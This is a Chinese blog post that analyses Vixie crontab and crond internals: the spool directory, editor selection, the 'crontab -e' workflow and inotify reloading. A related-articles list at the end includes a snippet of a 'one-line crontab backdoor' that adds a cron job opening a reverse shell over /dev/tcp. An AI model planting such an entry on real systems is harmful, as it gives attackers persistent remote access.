crontab和crond分析
目录
1. 研究目的
更好使用crontab,和解决crontab使用问题。本文分析的是Paul Vixie版本crontab和crond。一般可通过执行“man crontab”查看AUTHOR是不是“Paul Vixie”。
2. 基本概念
1) crond是一个后台守护程序,定时执行由它负责;
2) crontab是crond的命令行工具,通过它来增删改定时任务,不同用户的crontab是独立分开的。
3. crontab
crontab启动后,会首先切换当前目录,当前目录由宏CRONDIR定义(pathnames.h中):
|
#ifndef CRONDIR /* CRONDIR is where cron(8) and crontab(1) both chdir * to; SPOOL_DIR, CRON_ALLOW, CRON_DENY, and LOG_FILE * are all relative to this directory. */ #define CRONDIR "/var/cron" #endif |
老版本一般为/var/cron,新版本目录为:/var/spool。
接下来会检查用户是否有权限执行crontab,比如用户名密码过期了则不能执行。检查通过后根据命令行参数分成4个命名分别执行:
1) list_cmd:对应于crontab -l;
2) delete_cmd:对应于crontab -r;
3) edit_cmd:对应于crontab -e
4) replace_cmd:对应于crontab filepath。
3.1. 编辑
crontab默认使用宏_PATH_VI指定的编程器,文件/usr/include/paths.h定义了_PATH_VI:
|
#define _PATH_VI "/usr/bin/vi" |
但如果系统没有文件/usr/include/paths.h或没有定义_PATH_VI,则为/usr/ucb/vi:
|
#if defined(_PATH_VI) # define EDITOR _PATH_VI #else # define EDITOR "/usr/ucb/vi" #endif |
除此外,crontab还支持从环境变量VISUAL和EDITOR读取采用哪个编辑器,其中先读取VISUAL,如果没有指定再读取EDITOR。
“crontab -e”的完整工作流如下:
3.1.1. “crontab -e”工作流
以用户root为例:
1) 切换当前目录为“/var/cron”;
2) 拼写文件名“tabs/username”,假设用户名为root,则为“tabs/root(新版本文件为:cron/root)”,完整的路径为:/var/cron/tabs/root。文件tabs/root的内容和命令“crontab -l”的输出相同;
3) 打开文件/var/cron/tabs/root,然后取得文件的访问时间和修改时间。如果文件不存在,则读取/dev/null的访问时间和修改时间;
4) 生成格式为“crontab.XXXXXXXXXX”的临时文件,比如:crontab.b2gvnE;
5) 修改临时文件的owner;
6) 将文件tabs/root的内容逐字符复制到临时文件中;
7) 取得编辑用的编辑器,默认为“/usr/bin/vi”;
8) fork一个子进程;
9) 通过execlp执行/usr/bin/vi;
10) 等待vi进程退出;
11) 如果vi正常退出,检查修改时间,如果有变化,则执行replace_cmd;
12) replace_cmd过程上,会加上头:
|
/* write a signature at the top of the file. * * VERY IMPORTANT: make sure NHEADER_LINES agrees with this code. */ fprintf(tmp, "# DO NOT EDIT THIS FILE - edit the master and reinstall.\n"); fprintf(tmp, "# (%s installed on %-24.24s)\n", Filename, ctime(&now)); fprintf(tmp, "# (Cron version %s -- %s)\n", CRON_VERSION, rcsid); |
13) replace_cmd会创建一个新的位于当前目录(比如/var/cron或/var/spool)下的临时文件;
14) 然后复制原来的临时文件内容到瓣的临时文件中,并检查语法;
15) 完成再调用rename将临时文件名改为第2步取得的正式文件名;
16) 更新文件的访问时间和修改时间。
3.2. 问题
1) “crontab -e”未退出前的修改但已保存是否生效?
2) crontab中定义的环境变量,注释是否可以在同一行,如:
|
STARTDATE=2017-12-18 # 开始日期 |
4. crond
老版本的crond,修改改需要重启进程才会生效,新版本crond通过inotify监控文件变化,修改后不用重启即会生效。
4.1. /etc/crontab
系统crontab文件,在加载用户crontab前会先加载/etc/crontab,而且/etc/crontab总是属性root用户。
有关crontab更多,请浏览《cron运行原理》:http://blog.chinaunix.net/uid-20682147-id-4977039.html。
crontab和crond分析的更多相关文章
- 用crontab、crond在嵌入式系统中添加定时任务
在嵌入式系统中,定时任务通过crond和cronttab两个系统命令来联合执行. 其中crond是定时任务的守护进程,系统开始时是没有开启的.crontab主要作用是管理用户的crontab file ...
- crontab一句话后门分析
正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...
- crontab,at命令,常见问题
crontab命令 前 一天学习了 at 命令是针对仅运行一次的任务,循环运行的例行性计划任务,linux系统则是由 cron (crond) 这个系统服务来控制的. Linux 系统上面原本就有非常 ...
- linux定时执行任务crontab命令用法
linux系统的定时任务是由 cron (crond) 这个系统服务来控制的.Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的.另外, 由于使用者自己也可以设置计划任务,所 ...
- -bash: crontab: command not found(转)
操作步骤 1. 确认crontab是否安装: 执行 crontab 命令如果报 command not found,就表明没有安装 2. 安装 crontab 执行 yum install -y vi ...
- crontab 添加sh文件定时
(1)编写sh文件,比如/orcl/test/export.sh 编写crond文件 chmod 755 /orcl/test/* //复制所有权限 [root@postest test]# ...
- (转)crontab安装(command not found)
1. 确认crontab是否安装:执行 crontab -l 命令如果报 command not found,就表明没有安装 2. 安装 crontab执行 yum install -y vixie- ...
- crontab 定时任务守护程序,停止服务器时出现 job for * canceled
(1)首先要在程序启动的时候加入定时任务到crontab #! /bin/shmkdir -p /home/apps/components/ams/ 2>/dev/nullcp ./amswat ...
- 在CentOS下安装crontab服务
1. 确认crontab是否安装: 执行 crontab 命令如果报 command not found,就表明没有安装 2. 安装 crontab 执行 yum install -y vixie-c ...
随机推荐
- openCV基础知识
openCV主体分为5个模块: CV图像处理函数和计算机视觉算法: ML机器学习库,包含许多聚类和数据分析函数: HighGUI图像和视频的输入输出: [分成三部分:硬件部分--摄像机;文件部分--载 ...
- 如何查看mysql数据库表所使用的引擎(转载)
我们怎么样才能准确的查看mysql的存储引擎呢,下面我给大家介绍两种正确的方式. 1)正确方式一: SHOW TABLE STATUS from 数据库库名 where Name='表名' 2)mys ...
- Python 列表推导实例
#!/usr/bin/python # -*- coding: utf-8 -*- with open('e:/123.txt') as fp:row = fp.readlines() #打开并读取所 ...
- EmguCV Image类中的函数(二)使用MorphologyEx进行更多的变换
MorphologyEx中所有的变换如下图所示 调用方法: Mat aaa = CvInvoke.GetStructuringElement(Emgu.CV.CvEnum.ElementShape.R ...
- windows2003服务器,时间每隔1小时自动同步一次
有台服务器的时间总是不对,可能是电池快没电了吧,于是想让它时间保持更新状态,但又不想用第三方软件,在百度上查了一下,还真有方法 HKEY_LOCAL_MACHINE->SYSTEM->Cu ...
- Java基础之—反射
反射是框架设计的灵魂 (使用的前提条件:必须先得到代表的字节码的Class,Class类用于表示.class文件(字节码)) 一.反射的概述 JAVA反射机制是在运行状态中,对于任意一个类,都能够 ...
- 洛谷1066 2^k进制数
原题链接 大力猜结论竟然猜对了.. 对于一对\(k,w\),我们可以把\(w\)位划分成\(k\)位一段的形式,每一段就是转换成十进制后的一位,这个从题面的解释中应该可以理解. 先不考虑可能多出(即剩 ...
- 05. pt-diskstats
pt-diskstats --devices-regex=sda --interval=1 --iterations=3 --show-timestamps #ts device rd_s rd_av ...
- sscanf 解析字符串
test.txt中内容如下所示: eth0||192.168.0.2-192.168.0.150 eth2||192.168.0.2-192.168.0.150 想要将其中的ip地址等解析出来: #i ...
- 客户端服务端web问题
情况是这样: 我这边是C++socket/TCP服务器,然后有几万台客户端长连接我的服务器,这时,web端想对客户端进行参数设置,于是web端连到我的TCP服务器发来它想设置的客户端的ID和设置参数, ...